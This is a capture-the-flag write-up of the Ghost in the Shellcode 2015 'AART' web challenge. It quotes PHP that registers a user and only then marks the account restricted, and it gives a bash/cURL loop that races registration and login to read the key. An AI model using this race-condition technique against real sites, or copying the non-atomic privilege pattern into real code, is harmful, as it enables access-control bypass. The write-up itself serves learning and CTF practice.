AFNOM: Ghost in the Shellcode 2015 CTF Write-up

Ghost in the Shellcode CTF – 20.30 Jan 16th – 17.30 Jan 18th
Writeup by Pegasus, AFNOM.

Web
AART – 200 Points

The challenge was supplied with source code which had the PHP scripts and the schema for the database running on the site. We noticed that for a while, submitted ‘artwork’ wasn’t correctly showing up on the homepage, and we assume this was fixed as we saw people trying to run different attempts.

From the source code, we didn’t have much to work from – we identified a few opportunities for injection, notably in the $_POST used by PHP. However, we couldn’t inject anything useful there, as the username was sanitised and the password was simply matched against entries.

One interesting thing we noticed however was this in register.php.

if(isset($_POST['username'])){
$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);

$sql = "INSERT into users (username, password) values ('$username', '$password');";

mysqli_query($conn, $sql);
$sql = "INSERT into privs (userid, isRestricted) values ((select users.id from users where username='$username'), TRUE);";
mysqli_query($conn, $sql);
?>
<h2>SUCCESS!</h2>

So – what does this mean for us?
Well, there’s a race condition present in this ‘snippet’ – it inserts the user details (sanitised, of course!) into the database, and then performs a second query to restrict the account (you don’t get access to the key if your user ID is present in this restricted table.

This meant we had to find a way around this bit of code:

$uid = $row['id'];
$sql = "SELECT isRestricted from privs where userid='$uid' and isRestricted=TRUE;";
$result = mysqli_query($conn, $sql);
$row = $result->fetch_assoc();
if($row['isRestricted']){
?>
<h2>This is a restricted account</h2>
<?php
}else{
?>
<h2><?php include('../key');?></h2>
<?php
}
?>

So – one could write something that performs some multi-threaded operations and manages to perform a login operation just as the account is registered and the privileges aren’t restricted. This is going to be a bit difficult to time correctly, so why not just use a bash script with cURL?

#!/bin/bash
for i in {1..50}
   do
      curl --data "username=leet_hackeri$i&password=12345" http://aart.2015.ghostintheshellcode.com/register.php -s >&1 >/dev/null &
curl --data "username=leet_hackeri$i&password=12345" http://aart.2015.ghostintheshellcode.com/login.php
   done

With this done, any registration queries would be executed, but I wouldn’t be inundated with the HTML generated by the registration pages and only get the results of the login pages.
Over time, I started to see ‘this is a key’, instead of ‘This is a restricted account’. Now, I thought nothing of this until I saw it repeatedly inside a <h2> tag. This tied in what was in the PHP script where the privileges were not set. Submitting ‘this is a key’ as the token gave us a correct answer and the 200 Points for the challenge.

Notes

For this to have worked, it’s a ‘all in or bust’ attempt. Once the account is registered, there’s no going back, so you immediately need to test it, hence why the bash script was written as it was. If we had tried this in a browser (unless we had BURP intercepting everything and we delayed until we were ready for the right time), we likely would not have succeeded.
I’ve also seen some interesting solutions using Python and Perl, all of which are as suitable as mine, but I found this would do the work for me.